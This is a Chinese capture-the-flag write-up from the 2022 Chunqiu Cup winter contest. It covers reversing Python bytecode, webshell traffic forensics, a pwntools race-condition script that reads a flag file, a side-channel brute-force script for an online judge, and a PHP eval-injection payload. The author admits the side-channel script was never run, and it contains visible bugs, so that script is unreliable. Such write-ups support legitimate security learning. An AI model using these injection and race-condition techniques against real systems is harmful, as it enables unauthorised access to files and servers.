前言
第一次参加春秋杯冬季赛,想了想还是得把 \(Wp\) 给补上,虽然没有拿奖,但也算是学到了好多东西,交互还是近几次比赛学会的。(简单来说就是这次比赛题没一道见过熟悉的www......)
由于是赛后才补的题解,所以有些在线交互的没截上图就口糊下好了。
下面是个人排名(轻点骂 >_<):
Reverse
Easy_python ( 解法1 )
题目大意:
逆向 \(Python\) 字节码:
3 0 LOAD_CONST 1 (204)
3 LOAD_CONST 2 (141)
6 LOAD_CONST 3 (44)
9 LOAD_CONST 4 (236)
12 LOAD_CONST 5 (111)
15 LOAD_CONST 6 (140)
18 LOAD_CONST 6 (140)
21 LOAD_CONST 7 (76)
24 LOAD_CONST 3 (44)
27 LOAD_CONST 8 (172)
30 LOAD_CONST 9 (7)
33 LOAD_CONST 9 (7)
36 LOAD_CONST 10 (39)
39 LOAD_CONST 11 (165)
42 LOAD_CONST 12 (70)
45 LOAD_CONST 9 (7)
48 LOAD_CONST 10 (39)
51 LOAD_CONST 13 (166)
54 LOAD_CONST 11 (165)
57 LOAD_CONST 14 (134)
60 LOAD_CONST 14 (134)
63 LOAD_CONST 6 (140)
66 LOAD_CONST 1 (204)
69 LOAD_CONST 11 (165)
72 LOAD_CONST 9 (7)
75 LOAD_CONST 10 (39)
78 LOAD_CONST 15 (230)
81 LOAD_CONST 6 (140)
84 LOAD_CONST 11 (165)
87 LOAD_CONST 12 (70)
90 LOAD_CONST 3 (44)
93 LOAD_CONST 8 (172)
96 LOAD_CONST 16 (102)
99 LOAD_CONST 17 (6)
102 LOAD_CONST 6 (140)
105 LOAD_CONST 1 (204)
108 LOAD_CONST 15 (230)
111 LOAD_CONST 15 (230)
114 LOAD_CONST 7 (76)
117 LOAD_CONST 18 (198)
120 LOAD_CONST 19 (38)
123 LOAD_CONST 20 (175)
126 BUILD_LIST 42
129 STORE_FAST 0 (flag)
4 132 SETUP_LOOP 54 (to 189)
135 LOAD_GLOBAL 0 (range)
138 LOAD_CONST 21 (42)
141 CALL_FUNCTION 1
144 GET_ITER
>> 145 FOR_ITER 40 (to 188)
148 STORE_FAST 1 (i)
5 151 LOAD_FAST 0 (flag)
154 LOAD_FAST 1 (i)
157 BINARY_SUBSCR
158 LOAD_CONST 22 (5)
161 BINARY_RSHIFT
162 LOAD_FAST 0 (flag)
165 LOAD_FAST 1 (i)
168 BINARY_SUBSCR
169 LOAD_CONST 23 (3)
172 BINARY_LSHIFT
173 BINARY_OR
174 LOAD_CONST 24 (255)
177 BINARY_AND
178 LOAD_FAST 0 (flag)
181 LOAD_FAST 1 (i)
184 STORE_SUBSCR
185 JUMP_ABSOLUTE 145
>> 188 POP_BLOCK
>> 189 LOAD_CONST 0 (None)
192 RETURN_VALUE
以前完全没有学过 \(Python\) 字节码,就算是看道了也就直接跳过了,但这种题见了不止一次了,所以直接比赛期间现学字节码手撸源代码。
解题过程
首先了解字节码中几个关键命令的作用,官方文档如下:
dis — Disassembler for Python bytecode
同时有各个参数的所在意义:
源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值
其中我们拿出本题要用的东西:
GET_ITER
Implements TOS = iter(TOS).
BINARY_SUBSCR
Implements TOS = TOS1[TOS].
BINARY_LSHIFT
Implements TOS = TOS1 << TOS.
BINARY_RSHIFT
Implements TOS = TOS1 >> TOS.
BINARY_OR
Implements TOS = TOS1 | TOS.
BINARY_AND
Implements TOS = TOS1 & TOS.
通俗来讲,字节码就是以栈为基础的运行过程,故只需要用先进先出的思想进行模拟还原即可。
当然,也可以利用输出调试来一步一步还原(对于我这种现场学手撸的人非常友好) \(cmd\) 下命令行输入:
python -m dis ./XX.py
即可得到此份的字节码(本题还原如下):
flag = [204,141,44,236,111,140,140,76,44,172,7,7,39,165,70,7,39,166,165,134,134,140,204,165,7,39,230,140,165,70,44,172,102,6,140,204,230,230,76,198,38,175]
for i in range(42):
f1ag = ((flag[i] >> 5) | (flag[i] << 3 )) & 255
print(chr(f1ag),end="")
Easy_python ( 解法2 )
用 \(Chatgpt\) 秒了。 ( 比赛结束后看大佬的 \(Wp\) 知道的,太神仙了www)
Misc
reindeer game
解题过程
纯纯签到题,拼手速和运气,玩游戏控制麋鹿找到30个姜饼人即可得到 \(flag\) 。
调查问卷
解题过程
拼手速。
nan's analysis
(第一次见)
解题过程
本题只在比赛中保留了部分截图,凑合凑合吧。
分析流量,可知是个 \(web\) 浏览日志和一个 \(shell\) 的压缩包。
首先 \(binwalk\) 分离日志和压缩包并且修复,可以得知,存在一个 \(shell.php\) 分析 \(js\) 发下是个零宽隐写,解密后得到压缩包密码和 $root# 的密码提示。
得到密码提示后,可以考虑进行字典爆破,需要自己写一个代码生成字典:
list=[0,1,2,3,4,5,6,7,8,9]
for i in list:
for k in list:
for l in list:
print((str(i)+str(k)+str(i)+str(l))*4)
然后得到密码为: \(05040504050405040504\)
之后在 \(/var/www/html/install\) 中可以执行命令:\(cat\) \(.index.php\) 可得到被混淆后的一串 \(php\) 代码, 并且得到两个提示:此代码被加密了、\(root\) 密码经过 \(AES\) 加密。
然后就根据提示开始解加密代码,是个 \(php\) 混淆,解密网站如下:
得到加密后的密码,同时再次回到流量分析可以在压缩包和图片上传的地方得到个 \(PASS\) \(keyisChunqiuGame00504\),结合前面的提示解出 \(root\) 密码:
AES解密
最后登录 \(root\) 可得到 \(flag\)。
PWN
work_pwn
解题过程
分析代码可以发现,是个条件竞争会将读入的 \(filename\) 强制改名,此时会执行 \(sleep(1)\)
因此找到入手点,将 \(name\) 修改成 \(/flag\) 发送上去,着手写 \(code\) :
from pwn import *
context(arch="amd64",os="linux")
context.log_level = "debug"
io1 = remote('39.106.48.123',42877)
io1.sendline(str(3))
io1.sendline(str(1))
io1.recv()
sleep(0.1)
io1.sendline(str(1))
io1.sendline(str(1))
io1.recvuntil("Input Name : ")
io1.sendline(b'./flag'+2*b'\x00')
sleep(1)
io1.recv()
Online_judge
(第一次见)
解题过程
题目提示 \(flag\) 在 \(/flag/flag\) 中。
侧信道,test只有一个测试用例,返回的3,可以通过侧信道爆破。
侧信道爆破类似于 \(web\) 中的盲注,逐个爆破 \(flag\) ,需要写入一段 \(shellcode\)来判断爆破的flag是否正确,这里要用到汇编中的jz或者使用二分法,ja来判断,不正确就直接停止。
题目原请求如下:
import os
import sys
import requests
host,port = '47.104.129.38',10101
base_url = f'http://{host}:{port}'
token_url = f'{base_url}/getToken'
judge_url = f'{base_url}/judge'
def getToken():
result = requests.post(token_url).json()
#print(result)
assert not result['error'], "System error"
return result['data']['token']
def judge(chall:str, src:str, language:str = 'C'):
data = {
'src': src,
'language': language,
'action': chall,
'token': token,
}
result = requests.post(judge_url, json = data).json()
print(result)
return True
token = getToken()
print(token)
py_src = open('./solve.py').read()
judge('test', py_src, 'PYTHON')
flag = 'flag{'
for i in range(len(flag),100):
head = 0
tail = 127
mid = (tail + head) << 1
while head < tail:
py_src = open('./solve.py').read()
Read = judge('test', py_src, 'PYTHON')
if Read['data']=='SUCCESS':
head = mid + 1
else:
tail = mid
mid = (head + tail) >> 1
flag += chr(left)
info(flag)
if flag[-1] == "}":
break
print(flag)
没机会跑了,有一说一我也不知道对不对(要是不对的话,就当他不存在好了,思路没啥问题,代码估计是错的,第一次写这东西),对照着大佬的某 \(PWN\) 的 \(shellcode\) 侧信道攻击思路写的。
Web
ezphp
解题过程
源码如下:
<?php
highlight_file(__FILE__);
$num = $_GET['num'];
if(is_string($num) && strlen($num) < 5 && strpos($num,'111') === false && strpos($num,'0') === false && eval("return 111===${num};")){ readfile('/flag');
}
?>
提示:高版本 \(php\) 特性
因为return (111===1) or 1
所以 ?num=1|1
\(payload\) 构造方法还有很多。
结语
这篇文章就以它来结尾吧(>_<):
标签:LOAD,CONST,str,140,TOS,flag,S1gMa,2022,wp From: https://www.cnblogs.com/S1gMa/p/17007231.html子曰:“默而识之,学而不厌,诲人不倦,何有于我哉?”——《论语·述而》